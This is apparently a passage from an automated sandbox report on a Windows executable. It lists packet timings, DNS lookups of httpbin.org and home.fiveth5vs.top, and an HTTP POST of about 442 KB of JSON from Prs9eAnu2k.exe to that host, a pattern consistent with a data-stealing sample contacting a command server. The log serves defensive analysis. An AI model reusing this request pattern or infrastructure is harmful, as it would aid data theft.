                                          Dec 31, 2024 15:42:14.134681940 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139640093 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139647007 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139648914 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139731884 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139743090 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139753103 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139759064 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139779091 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139782906 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139790058 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139803886 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139816999 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139833927 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139837027 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139868975 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139868975 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139879942 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139903069 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139909029 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139933109 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139957905 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.139976978 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.139986992 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140044928 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.140048027 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140081882 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140098095 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140185118 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140193939 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140203953 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140244961 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140292883 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140302896 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140391111 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140399933 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140417099 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140424967 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140435934 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140518904 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.140582085 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140593052 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.140642881 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.144589901 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144656897 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.144671917 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144684076 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144715071 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144723892 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.144763947 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144781113 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144818068 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144829988 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144906044 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144943953 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144953012 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.144996881 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145005941 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145023108 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145031929 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145080090 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145088911 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145106077 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145114899 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145148993 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145158052 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145169973 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145186901 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145354986 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145376921 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.145386934 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145396948 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145431995 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.145441055 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145445108 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.145452023 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145471096 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145481110 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145488024 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.145512104 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145518064 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.145524979 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145535946 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.145556927 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145565987 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145601034 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145661116 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145670891 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145679951 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145695925 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145704985 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145708084 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145711899 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145762920 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145771980 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145807028 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145814896 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145839930 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145850897 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145872116 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145880938 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145890951 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145925045 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145935059 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145944118 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145983934 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.145993948 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146008968 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146018028 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146039009 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146049976 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146085024 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146094084 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146117926 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146126032 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146142006 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146151066 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146178961 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146188021 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146213055 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.146223068 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.149430990 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.149450064 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.149539948 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.149549007 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.149621964 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.149631023 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150254965 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150363922 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150372982 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150408030 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150417089 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150427103 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150454044 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150510073 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.150543928 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150593996 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.150598049 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150618076 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150638103 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150656939 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150665998 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150676966 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150686026 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150711060 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150719881 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150728941 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150748968 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150798082 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150809050 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150854111 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150861979 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150871038 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150890112 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150898933 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150909901 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150974035 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.150996923 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151005983 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151047945 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151057005 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151081085 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151091099 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151144028 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151153088 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151184082 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151192904 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151217937 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151226997 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151266098 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151274920 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151304960 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151319981 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151350021 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151359081 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151375055 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151384115 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151406050 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151449919 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151458979 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151468039 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.151478052 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155591011 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155611038 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155627966 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155637980 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155658960 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155668020 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155723095 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155733109 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155771017 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155781984 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155829906 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155849934 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155850887 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.155924082 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155934095 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155960083 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155968904 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.155994892 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156003952 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156064987 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156074047 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156096935 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156106949 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156122923 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156126976 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156240940 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156250000 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156260014 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156269073 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156286955 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156296015 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156311989 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156321049 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156368017 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156377077 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156388998 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156399012 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156420946 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156430006 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156465054 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156481981 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156506062 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156514883 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156537056 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156547070 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156573057 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156630039 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156639099 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156646967 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156656981 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156666040 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156682014 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156691074 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.156701088 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160654068 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160744905 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160754919 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160800934 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160809994 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160855055 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160864115 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160912991 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160922050 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160939932 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160948038 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.160964966 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161001921 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161072016 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161082983 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161109924 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161125898 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161155939 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161164999 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161221027 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161230087 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161271095 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161281109 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161292076 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161324978 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161340952 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161350012 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161400080 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161410093 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161443949 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161453009 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161474943 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161477089 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161515951 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161526918 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161545992 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161555052 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161571026 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161578894 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161598921 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.161607981 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:16.709964037 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:16.710474014 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:16.715593100 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:16.715663910 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:17.605562925 CET4971280192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:17.613226891 CET8049712176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:17.613337040 CET4971280192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:17.613725901 CET4971280192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:17.621376038 CET8049712176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:18.524955988 CET8049712176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:18.525471926 CET4971280192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:18.530529976 CET8049712176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:18.530596972 CET4971280192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:19.271558046 CET4971380192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:19.277446985 CET8049713176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:19.277548075 CET4971380192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:19.277869940 CET4971380192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:19.283581972 CET8049713176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:20.173903942 CET8049713176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:20.174357891 CET4971380192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:20.179460049 CET8049713176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:20.179506063 CET4971380192.168.2.12176.53.146.223

                                          UDP Packets

                                          TimestampSource PortDest PortSource IPDest IP
                                          Dec 31, 2024 15:42:10.472361088 CET6137653192.168.2.121.1.1.1
                                          Dec 31, 2024 15:42:10.472440004 CET6137653192.168.2.121.1.1.1
                                          Dec 31, 2024 15:42:10.479389906 CET53613761.1.1.1192.168.2.12
                                          Dec 31, 2024 15:42:10.479769945 CET53613761.1.1.1192.168.2.12
                                          Dec 31, 2024 15:42:12.998487949 CET6137953192.168.2.121.1.1.1
                                          Dec 31, 2024 15:42:12.998552084 CET6137953192.168.2.121.1.1.1
                                          Dec 31, 2024 15:42:13.629089117 CET53613791.1.1.1192.168.2.12
                                          Dec 31, 2024 15:42:13.629132986 CET53613791.1.1.1192.168.2.12
                                          Dec 31, 2024 15:42:16.768403053 CET6138153192.168.2.121.1.1.1
                                          Dec 31, 2024 15:42:16.768450022 CET6138153192.168.2.121.1.1.1
                                          Dec 31, 2024 15:42:17.464438915 CET53613811.1.1.1192.168.2.12
                                          Dec 31, 2024 15:42:17.604557991 CET53613811.1.1.1192.168.2.12
                                          Dec 31, 2024 15:42:18.585755110 CET6138353192.168.2.121.1.1.1
                                          Dec 31, 2024 15:42:18.585835934 CET6138353192.168.2.121.1.1.1
                                          Dec 31, 2024 15:42:19.046608925 CET53613831.1.1.1192.168.2.12
                                          Dec 31, 2024 15:42:19.270150900 CET53613831.1.1.1192.168.2.12

                                          DNS Queries

                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                          Dec 31, 2024 15:42:10.472361088 CET192.168.2.121.1.1.10x73fStandard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                          Dec 31, 2024 15:42:10.472440004 CET192.168.2.121.1.1.10x3982Standard query (0)httpbin.org28IN (0x0001)false
                                          Dec 31, 2024 15:42:12.998487949 CET192.168.2.121.1.1.10xc183Standard query (0)home.fiveth5vs.topA (IP address)IN (0x0001)false
                                          Dec 31, 2024 15:42:12.998552084 CET192.168.2.121.1.1.10x2a3Standard query (0)home.fiveth5vs.top28IN (0x0001)false
                                          Dec 31, 2024 15:42:16.768403053 CET192.168.2.121.1.1.10x4885Standard query (0)home.fiveth5vs.topA (IP address)IN (0x0001)false
                                          Dec 31, 2024 15:42:16.768450022 CET192.168.2.121.1.1.10x48beStandard query (0)home.fiveth5vs.top28IN (0x0001)false
                                          Dec 31, 2024 15:42:18.585755110 CET192.168.2.121.1.1.10x778cStandard query (0)home.fiveth5vs.topA (IP address)IN (0x0001)false
                                          Dec 31, 2024 15:42:18.585835934 CET192.168.2.121.1.1.10xc9bStandard query (0)home.fiveth5vs.top28IN (0x0001)false

                                          DNS Answers

                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                          Dec 31, 2024 15:42:10.479769945 CET1.1.1.1192.168.2.120x73fNo error (0)httpbin.org34.197.122.172A (IP address)IN (0x0001)false
                                          Dec 31, 2024 15:42:10.479769945 CET1.1.1.1192.168.2.120x73fNo error (0)httpbin.org34.200.57.114A (IP address)IN (0x0001)false
                                          Dec 31, 2024 15:42:13.629089117 CET1.1.1.1192.168.2.120xc183No error (0)home.fiveth5vs.top176.53.146.223A (IP address)IN (0x0001)false
                                          Dec 31, 2024 15:42:17.604557991 CET1.1.1.1192.168.2.120x4885No error (0)home.fiveth5vs.top176.53.146.223A (IP address)IN (0x0001)false
                                          Dec 31, 2024 15:42:19.270150900 CET1.1.1.1192.168.2.120x778cNo error (0)home.fiveth5vs.top176.53.146.223A (IP address)IN (0x0001)false

                                          HTTP Request Dependency Graph

                                          • httpbin.org
                                          • home.fiveth5vs.top

                                          HTTP Packets

                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          0192.168.2.1249711176.53.146.223807132C:\Users\user\Desktop\Prs9eAnu2k.exe
                                          TimestampBytes transferredDirectionData
                                          Dec 31, 2024 15:42:13.636682987 CET12360OUTPOST /KhxTILlSHLygUudVWlQk1735537737 HTTP/1.1
                                          Host: home.fiveth5vs.top
                                          Accept: */*
                                          Content-Type: application/json
                                          Content-Length: 442836
